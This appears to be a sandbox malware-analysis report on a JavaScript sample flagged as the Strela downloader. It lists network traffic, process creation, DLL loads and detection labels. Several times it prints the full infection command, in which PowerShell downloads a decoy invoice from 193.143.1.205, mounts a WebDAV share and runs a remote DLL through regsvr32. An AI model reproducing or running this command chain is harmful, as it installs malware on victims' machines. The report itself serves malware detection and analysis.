HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1340296874.0000025ABA2EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1441354534.000001D218DC4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1441354534.000001D218D88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1441354534.000001D218DC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/D
Source: net.exe, 00000007.00000002.1441354534.000001D218DC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/X
Source: net.exe, 00000007.00000002.1441354534.000001D218DC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/p
Source: net.exe, 00000007.00000002.1441354534.000001D218D88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/space
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000009.00000003.1447097046.0000011A1B200000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7476, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 334130052300215064.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7576:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_02n24bx0.rmb.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\334130052300215064.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1368,i,865833202522912382,8283043950893264980,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1368,i,865833202522912382,8283043950893264980,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
